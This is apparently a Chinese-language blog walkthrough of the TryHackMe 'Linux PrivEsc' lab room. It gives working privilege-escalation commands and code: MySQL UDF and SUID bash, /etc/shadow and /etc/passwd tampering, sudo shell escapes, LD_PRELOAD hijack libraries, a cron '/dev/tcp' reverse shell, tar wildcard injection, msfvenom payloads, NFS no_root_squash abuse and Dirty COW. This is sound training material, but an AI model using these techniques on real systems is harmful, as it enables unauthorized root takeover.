【THM】Linux PrivEsc
服务漏洞利用
MySQL服务以root身份运行,并且该服务的“root”用户没有分配密码。我们可以使用一种流行的漏洞利用用户定义函数 (UDF) 通过 MySQL 服务以 root 身份运行系统命令。
MySQL(Linux)-UDF-exp地址链接:https://www.exploit-db.com/exploits/1518 相关漏洞详情:https://www.cvedetails.com/cve/CVE-2005-0711 该exp影响的目标范围:MySQL 4.x/5.0 (Linux) + 错误配置的 MySQLServer
切换到 /home/user/tools/mysql-udf 目录:
cd /home/user/tools/mysql-udf
使用以下命令编译 raptor_udf2.c 漏洞利用代码:
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
#使用 gcc 需要两次运行才能编译成一个共享对象。 #你可以在目标机或者攻击机上编译 C 代码,如果你在攻击机上编译它,请记住操作系统的体系结构可能不同,所以最好还是在目标机上进行编译
-shared #生成共享库
-fPIC #它在内存中的任何位置都可以正确地执行,而不需要对其进行修改。这对于共享库(也称为动态链接库)非常重要,因为它们可以加载到内存的任何位置。
以 root 用户身份使用空白密码连接到 MySQL 服务:
mysql -u root
在MySQL shell上执行以下命令,使用我们编译的漏洞创建用户定义函数(UDF)“do_system”:
#选择 mysql db use mysql; #我们需要创建一个临时表供我们使用。因为我们需要一个地方来加载共享的二进制文件到 MySQL。 create table foo(line blob); #接下来需要将文件内容插入到表中 insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so')); #要使用UDF,我们还需要找到插件目录的位置,这就是我们需要存储文件的地方,可以通过命令找到:show variables like '%plugin%'; select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; #创建函数 create function do_system returns integer soname 'raptor_udf2.so'; #验证函数是否成功被创建:select * from mysql.func;
使用函数将 /bin/bash 复制到 /tmp/rootbash 并设置 SUID 权限:
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
/tmp/rootbash -p
请记住删除 /tmp/rootbash 可执行文件并退出 root shell,然后再继续,因为您将稍后在房间中再次创建此文件!
rm /tmp/rootbash
exit
弱文件权限 - 可读 /etc/shadow
/etc/shadow 文件包含用户密码哈希值,通常只能由 root 用户读取。
请注意,VM 上的 /etc/shadow 文件是全局可读的:
ls -l /etc/shadow
查看 /etc/shadow 文件的内容:
cat /etc/shadow
文件的每一行代表一个用户。用户的密码哈希值(如果有的话)可以在每行的第一个和第二个冒号 (:) 之间找到。
将根用户的哈希保存到 Kali VM 上名为 hash.txt 的文件中,并使用开膛手约翰破解它。您可能需要先解压缩 /usr/share/wordlists/rockyou.txt.gz然后根据您的 Kali 版本使用 sudo 运行命令:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
切换到root用户,使用破解的密码:su root
弱文件权限 - 可写 /etc/shadow
/etc/shadow 文件包含用户密码哈希值,通常只能由 root 用户读取。
请注意,VM 上的 /etc/shadow 文件是全局可写的:
ls -l /etc/shadow
使用您选择的密码生成新的密码哈希:
mkpasswd -m sha-512 newpasswordhere
编辑 /etc/shadow 文件,并将原始 root 用户的密码哈希替换为您刚刚生成的密码哈希。
使用新密码切换到 root 用户:
su root
弱文件权限 - 可写 /etc/passwd
/etc/passwd 文件包含有关用户帐户的信息。它是全局可读的,但通常只能由 root 用户写入。从历史上看,/etc/passwd 文件包含用户密码哈希值,某些版本的 Linux 仍然允许将密码哈希值存储在那里。
请注意,/etc/passwd 文件是全局可写的:
ls -l /etc/passwd
使用您选择的密码生成新的密码哈希:
openssl passwd newpasswordhere
编辑 /etc/passwd 文件,并将生成的密码哈希值放在 root 用户行的第一个冒号和第二个冒号(:)之间(替换“x”)。
使用新密码切换到 root 用户:
su root
或者,复制 root 用户的行并将其附加到文件底部,将单词“root”的第一个实例更改为“newroot”,并将生成的密码哈希放在第一个冒号和第二个冒号之间(替换“x”)。
sudo - shell 转义序列
列出 sudo 允许用户运行的程序:
sudo -l
访问 go awayBins (https://gtfobins.github.io) 并搜索一些程序名称。如果程序以“sudo”作为函数列出,则可以使用它来提升权限,通常通过转义序列。
从列表中选择一个程序,然后尝试使用 go awayBins 中的说明获取 root shell。
对于额外的挑战,请尝试使用列表中的所有程序获得 root shell!
#iftop的sudo提权命令 sudo iftop !/bin/sh #nano的sudo提权命令 sudo nano ^R^X reset; sh 1>&0 2>&0 #vim的sudo提权命令 sudo vim -c ':!/bin/sh' #还有其他可行命令,但是需要语言环境支持,具体请参考GTFOBins #man的sudo提权命令 sudo man man !/bin/sh #awk的sudo提权命令 sudo awk 'BEGIN {system("/bin/sh")}' #less的sudo提权命令 sudo less /etc/profile !/bin/sh #nmap的sudo提权命令(禁用输入回显) TF=$(mktemp) echo 'os.execute("/bin/sh")' > $TF sudo nmap --script=$TF #nmap的sudo提权命令(利用nmap版本2.02至5.21的交互模式) sudo nmap --interactive nmap> !sh #more的sudo提权命令 TERM= sudo more /etc/profile !/bin/sh
大概提权的想法都是用root身份去开一个窗口然后退出并执行/bin/bash
sudo - 环境变量
可以将 Sudo 配置为从用户的环境继承某些环境变量。
检查继承了哪些环境变量(在本例中查看 env _ keep 选项) :
sudo -l
从上图可以看到 LD_PRELOAD 和 LD_LIBRARY_PATH 都是从用户环境继承的,当程序运行时,LD_PRELOAD 会先加载一个共享对象,而LD_LIBRARY_PATH 则提供了首先搜索共享库的目录列表。我们可以对环境变量LD_PRELOAD 和LD_LIBRARY_PATH进行利用(使用sudo)。
LD_PRELOAD #是一个环境变量,它说“每当你寻找 一个函数名称,先看看我!所以如果你不想要你的程序 要像这样受到攻击,你可以:
静态链接程序
检查环境变量,并抱怨(虽然 攻击者还可能LD_PRELOAD允许您读取的函数 环境变量... :)
关于LD_PRELOAD利用的资料: https://jvns.ca/blog/2014/11/27/ld-preload-is-super-fun-and-easy/ https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/
使用位于/home/user/tools/sudo/preload.c 的代码创建一个共享对象:
#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setresuid(0,0,0); system("/bin/bash -p"); } //执行_init函数:释放环境变量、设置uid和root的uid对应、设置命令"/bin/bash -p"(该命令作用是打开bash shell) // unsetenv函数介绍 // 头文件:#include<stdlib.h> // 函数原型: int unsetenv(const char* name) // 函数说明:删除name环境变量的定义,即使不存在也不会出错 // 参数:name为环境变量名称字符串。 // 返回值:成功返回0,错误返回-1
运行一个允许通过 sudo 运行的程序(在运行 sudo-l 时会列出) ,同时将 LD _ PRELOAD 环境变量设置为新共享对象的完整路径(此时能获取到root shell):
sudo LD_PRELOAD=/tmp/preload.so vim #使用LD_PRELOAD环境变量能够在程序中覆盖任意的函数调用 #当sudo vim执行时,本应该调用vim,但是此处会先加载共享对象/tmp/preload.so
继续操作:对 apache2程序文件运行 ldd,该命令能够查看程序使用哪些共享库:
ldd /usr/sbin/apache2
使用位于/home/user/tools/sudo/library _ path.c的代码创建一个与apache2列出的库(libcrypt.so.1)同名的共享对象:
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c #本质上是编译library_path.c 以便我们使用它
为了解实现原理,我们看一下library_path.c的内容:
#include <stdio.h> #include <stdlib.h> static void hijack() __attribute__((constructor)); void hijack() { unsetenv("LD_LIBRARY_PATH"); setresuid(0,0,0); system("/bin/bash -p"); } //执行hijack函数:释放环境变量、设置uid和root的uid对应、设置命令"/bin/bash -p"(该命令作用是打开bash shell) // unsetenv函数介绍 // 头文件:#include<stdlib.h> // 函数原型: int unsetenv(const char* name) // 函数说明:删除name环境变量的定义,即使不存在也不会出错 // 参数:name为环境变量名称字符串。 // 返回值:成功返回0,错误返回-1
使用 sudo 运行 apache2,同时将LD_LIBRARY_PATH 环境变量设置为/tmp (/tmp目录下存在已编译的共享对象),获得root shell :
sudo LD_LIBRARY_PATH=/tmp apache2 #此处运行sudo apache2时,本应该会加载apache2所使用的共享库 #但刚才创建了一个和apache2使用的真实共享库同名的共享对象(/tmp/libcrypt.so.1),并且指定了首先搜索共享库的目录列表(/tmp) #所以以上命令执行时,会先加载/tmp/libcrypt.so.1共享对象
退出root shell,将上面的/tmp/libcrypt.so.1文件 重命名为apache2使用的另一个库的名称,然后再次使用 sudo 重新运行 apache2(也能获得root权限):
###我的想法是vim属于固定的c语言库,他不会去搜索文件需要去指定,而apache2使用的共享库是靠名字到路径里面搜索,使用只用指定目录就可以了
Cron 作业 - 文件权限
Cron 作业是用户可以安排在特定时间或间隔运行的程序或脚本。Cron 表文件 (crontabs) 存储 cron 作业的配置。系统范围的 crontab 位于 /etc/crontab。
查看系统范围的 crontab 的内容:
cat /etc/crontab
应该计划每分钟运行两个 cron 作业。一个运行 overwrite.sh,另一个运行 /usr/local/bin/compress.sh。
找到 overwrite.sh 文件的完整路径:
locate overwrite.sh
请注意,该文件是全局可写的:
ls -l /usr/local/bin/overwrite.sh
将 IP 地址更改为 Kali 盒子的 IP 地址后,将 overwrite.sh 文件的内容替换为以下内容。
#!/bin/bash bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
在端口 4444 上的 Kali 盒子上设置一个 netcat 侦听器,然后等待 cron 作业运行(不应超过一分钟)。root shell 应连接回 netcat 侦听器。如果它不重新检查文件的权限,是否缺少任何内容?
Cron 作业 - PATH 环境变量
查看系统范围的 crontab 的内容:
cat /etc/crontab
请注意,PATH 变量以 /home/user 开头,这是我们用户的主目录。
在主目录中创建一个名为 overwrite.sh 的文件,其中包含以下内容:
#!/bin/bash cp /bin/bash /tmp/rootbash chmod +xs /tmp/rootbash
确保该文件是可执行的:
chmod +x /home/user/overwrite.sh
等待 cron 作业运行(不应超过一分钟)。运行带有 -p 的 /tmp/rootbash 命令,以获得以 root 权限运行的 shell:
/tmp/rootbash -p
请记住删除修改后的代码,删除 /tmp/rootbash 可执行文件并退出提升的 shell,然后再继续,因为您将稍后在房间中再次创建此文件!
path从前到后在目录中寻找。
此处的原理: 由于本例中crontab的PATH 变量是从/home/user路径开始(运行cron jobs时,第一个找的就是该路径),所以我们在/home/user目录下 伪造一个overwrite.sh文件,它和系统中的cron作业------overwrite.sh名字相同; 系统在运行cron jobs时,会根据PATH变量先找到伪造的overwrite.sh文件并去执行它,然后伪造的overwrite.sh会生成一个带s权限的文件rootbash,而rootbash实际上是bash文件的一个副本:运行效果是以root身份执行bash文件,会打开一个root shell(shell的类型为bash,权限为root)。
Cron 作业 - 通配符
查看其他 cron 作业脚本的内容:
cat /usr/local/bin/compress.sh
请注意,tar 命令在主目录中使用通配符 (*) 运行。
查看 go awayBins 页面以获取 tar。请注意,tar 具有命令行选项,允许您将其他命令作为检查点功能的一部分运行。
从上图我们能看到:tar 命令是在 home 目录中使用通配符(*)运行的,将/home/user下所有文件和目录打包并压缩成/tmp/backup.tar.gz 。
#语法:tar [-zjxcvfP] filename c //创建新的归档文件 x //对归档文件解包 t //列出归档文件里的文件列表 v //输出命令的归档或解包的过程 f //指定包文件名,多参数f写最后 C //指定解压目录位置 z //使用gzip压缩归档后的文件(.tar.gz) j //使用bzip2压缩归档后的文件(.tar.bz2) J //使用xz压缩归档后的文件(tar.xz) X //排除多个文件(写入需要排除的文件名称) h //打包软链接 P //连带绝对路径打包 --hard-dereference //打包硬链接 --exclude //在打包的时候写入需要排除的文件或目录 //常用打包与压缩组合 czf //打包成tar.gz格式 cjf //打包成tar.bz格式 cJf //打包成tar.xz格式 zxf //解压tar.gz格式 jxf //解压tar.bz格式 xf //自动选择解压模式 tf //查看压缩包内容 //以gzip归档方式打包并压缩 tar czf test.tar.gz test/ test2/ //以bz2方式打包并压缩 tar cjf test.tar.bz2 dir.txt dir/
查看 GTFOBins 页面中的 tar( https://gtfobins.github.io/gtfobins/tar/ ),tar命令也可用于sudo提权。
注意:tar 具有命令行选项且具有检查点特性(checkpoint),我们可以利用tar的特性从而让tar命令将文件名识别为命令行。
在攻击机上使用 msfvenom生成一个反向 shell ELF 二进制文件,修改 LHOST IP 地址:
将 shell.elf 文件传输到目标机的/home/user/目录下(你可以使用 scp 或者在 Kali机上的 webserver 上托管shell.elf文件,并在目标机上使用 wget获取)。
确保文件是可执行的:
chmod +x /home/user/shell.elf
在/home/user 中创建这两个文件:
touch /home/user/--checkpoint=1 touch /home/user/--checkpoint-action=exec=shell.elf #--checkpoint=n:每写入n个记录之后设置一个检查点,在检查点可以执行任意的操作,操作由--checkpoint-action指定 #exec:执行外部命令或运行可执行文件
当 cron 作业中的 tar 命令运行时,通配符(*)将扩展为包含上面两个文件(因为它们都在/home/user中),由于它们的文件名是有效的 tar 命令行选项,tar 将识别它们,并将它们视为命令行选项而不是文件名。
在攻击机的端口4444上设置一个 netcat 监听器,并等待目标机上的cron 作业运行(应该不会超过一分钟),然后root shell就会回连攻击机上的 netcat 监听器:
nc -nlvp 4444
此处原理是,tar打包/home/user目录下文件时,触发checkpoint,然后就触发exec执行shell。
SUID / SGID 可执行文件 - 已知漏洞利用
在 Debian VM 上查找所有 SUID/SGID 可执行文件
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null #运行SUID/SGID可执行文件时,会暂时获得文件拥有者的用户权限或者文件所在组的用户权限 #如果某一个SUID文件的拥有者是root,那么执行该文件时的权限就是root权限了。 #我们要达到的目的是以root权限执行shell命令:如/bin/bash等;这样就能得到一个root shell的命令行环境。
请注意,/usr/sbin/exim-4.84-3 出现在结果中。尝试查找此版本的 exim 的已知漏洞。Exploit-DB、Google 和 GitHub 是搜索的好地方!
应提供与此版本的 exim 完全匹配的本地权限升级漏洞。副本可以在 Debian VM 上的 /home/user/tools/suid/exim/cve-2016-1531.sh 中找到。
运行漏洞利用脚本以获取 root shell:
大概描述:利用suid的特性,加已经知道的exp利用
SUID/SGID 可执行文件提权-共享对象注入
目标机上的SUID 可执行文件:/usr/local/bin/suid-so ,容易受到共享对象注入的影响。
在文件上运行 strace命令,跟随suid-so文件的执行情况,并在输出中搜索" open "、" access "调用和" no such file "错误:
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
注意,我们通过观察发现:可执行文件suid-so试图在我们的主目录里加载/home/user/.config/libcalc.so共享对象,但是找不到。
现在我们开始伪造一个/home/user/.config/libcalc.so共享对象文件。
我们先创建.config 目录:
mkdir /home/user/.config
再创建一个libcalc.c(这个文件能产生一个 Bash shell),libcalc.c文件的内容如下:
#include <stdio.h> #include <stdlib.h> static void inject() __attribute__((constructor)); void inject() { setuid(0); system("/bin/bash -p"); }
c文件在linux中要编译才能使用,我们将libcalc.c编译成一个共享对象并放置在/home/user/.config路径下:
gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
再次执行suid-so可执行文件,这次suid-so会成功加载一个伪造的/home/user/.config/libcalc.so共享对象,最终效果是得到一个 root shell。
/usr/local/bin/suid-so
大概原理:因为这个usid的文件调用对象的库,我们可以修改就可以加入恶意代码。
SUID/SGID 可执行文件提权-环境变量
PATH环境变量介绍:
使用cat $PATH或者echo $PATH ,可以查看当前用户的PATH环境变量,使用env可以查看系统的所有环境变量(env|more 分页查看)
PATH 环境变量的内容是由一堆目录组成的,各目录之间用冒号“:”隔开。
当执行某个命令时,Linux 会依照 PATH 中包含的目录依次搜寻该命令的可执行文件,一旦找到,即正常执行;反之,则提示无法找到该命令。
注意:如果在 PATH 包含的目录中,有多个目录都包含某命令的可执行文件,那么会执行先搜索到的可执行文件。(这一特性可以利用)
并未指明完整路径
我们可以利用目标机上的SUID 可执行文件/usr/local/bin/suid-env,因为它继承了用户的 PATH 环境变量(/usr/local/bin/包含在PATH变量值中),并且尝试在不指定绝对路径的情况下执行程序。
首先,执行/usr/local/bin/suid-env文件并注意它似乎试图启动 apache2 webserver:
在该文件上运行strings命令,查找文件内容中的可打印字符并打印出字符串:
密码和密钥-利用配置文件提权
配置文件通常可能包含明文或其他可逆格式的密码。
列出用户主目录的内容:
ls /home/user
我们注意到用户主目录下有一个 myvpn.ovpn 配置文件,查看其内容:
cat /home/user/myvpn.ovpn
该文件的内容包含了可以找到root用户登录凭据的其他位置的引用,去对应位置找到登录凭据,使用凭据登录 root 用户:
密码和密钥-利用SSH密钥提权
有时,用户会备份重要文件,但无法使用正确的权限保护它们。
在系统根目录中查找隐藏的文件和目录:
ls -la /
请注意,似乎有一个名为 .ssh 的隐藏目录。查看目录的内容:
ls -l /.ssh
请注意,有一个全局可读的文件,称为 root_key。对此文件的进一步检查应表明它是 SSH 私钥。该文件的名称表明它是针对 root 用户的。
将密钥复制到您的 Kali 盒子(只需查看root_key文件的内容并复制/粘贴密钥会更容易)并为其授予正确的权限,否则您的 SSH 客户端将拒绝使用它:
chmod 600 root_key
使用密钥以 root 帐户身份登录 Debian VM(请注意,由于盒子的年龄,使用 SSH 时需要一些额外的设置):
ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.10.58.183
NFS提权
通过 NFS 创建的文件会继承远程用户的 ID。
现在我们通过NFS创建一个文件(该文件是客户机和服务机共享的),把攻击机用户作为远程用户(客户机),如果攻击机用户是 root,有以下两种情况:
1.目标机(服务机)上启用了root_squash选项,则文件的用户ID 在服务机上将被设置为“ nobody”用户,具有最少的本地特权;
2.目标机(服务机)上启用了no_root_squash选项,则文件的用户ID 在服务机上将被设置为root。
检查目标机上的 NFS 共享配置:
cat /etc/exports
关于/etc/exports文件:
/etc/exports文件包含了将哪些文件夹(目录)/文件系统导出到远程用户的配置和权限。 这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构成 [共享的目录] [主机名或IP(参数,参数)] 其中参数是可选的,当不指定参数时,nfs将使用默认选项------默认的共享选项是 sync,ro,root_squash,no_delay。 当主机名或IP地址为空时,则代表共享能给任意客户机提供服务。 当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样设置: [共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)] #上面说的客户机是远程用户,带有NFS共享配置文件的机器是服务机(客户机和服务机是一组相对的概念)
我们可以看到/tmp目录是可共享的,远程用户可以挂载它,并且/tmp目录共享还禁用了root_squash选项(启用no_root_squash选项-----即代表禁用了root_squash)。
在攻击机上先切换到root用户。
使用攻击机的root用户,在攻击机上创建一个挂载点并挂载目标机的/tmp 共享目录:
mkdir /tmp/nfs #创建一个挂载点 mount -o rw,vers=3 10.10.83.196:/tmp /tmp/nfs #挂载目标机(nfs服务机)的/tmp共享目录,此处可能因为版本问题失败-----修改版本号即可 #如果攻击机没有安装NFS,需要先用以下命令安装: #sudo apt install nfs-common #apt-get install cifs-utils
生成shell
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
将shell上传到目标机,自身在目标机也是root权限随便改,然后加suid执行文件就行l
在目标机执行。
大概思路就是:查看对方的exports共享文件,是否做了no_root_squash,如果没做,挂载的客户端以root运行在目标机也是root用户,然后就可以在挂载文件中随意干坏事。
内核漏洞exp提权
内核漏洞利用是权限提升的最后一招,内核漏洞利用(exp)可能会使系统处于不稳定状态,这就是为什么只有在万不得已的情况下才应该运行它们。
有许多工具可用于识别当前内核版本中的可利用漏洞:
https://github.com/mzet-/linux-exploit-suggester https://github.com/jondonas/linux-exploit-suggester-2
运行Linux Exploit Suggester 2工具,来识别当前系统上潜在的可利用内核漏洞(它运行在目标系统上,如果目标系统上没有这个工具,就要下载或者上传一个):
perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl #上条命令可以后跟参数,如:-k 2.6.32 (将会查找版本为2.6.32的linux系统内核漏洞exp)
gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w ./c0w
一旦exp执行完毕,我们就去运行/usr/bin/passwd文件,最后得到一个root权限的shell:
/usr/bin/passwd
总结
前期:
- 进行简单信息收集(id, whoami);
- 运行Linux Smart Enumeration等提权检测脚本;
- 运行LinEnum和其他脚本-----枚举系统信息。
使用" ls -la "快速查找home中的文件、目录和其他公共位置(例如/var,/backup,/var/logs以及根目录/);
注意:如果用户有一个历史文件,它可能有重要的信息,比如命令或者密码;
查看以root权限运行的服务有无漏洞,如:MySQL数据库UDF提权;
查看/etc/passwd文件和/etc/shadow文件的权限分配情况-----普通用户是否能够进行读写操作;
查看Sudo,Cron jobs,SUID/SGID文件;
查看NFS配置是否存在错误;
最后考虑内核漏洞exp提权。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律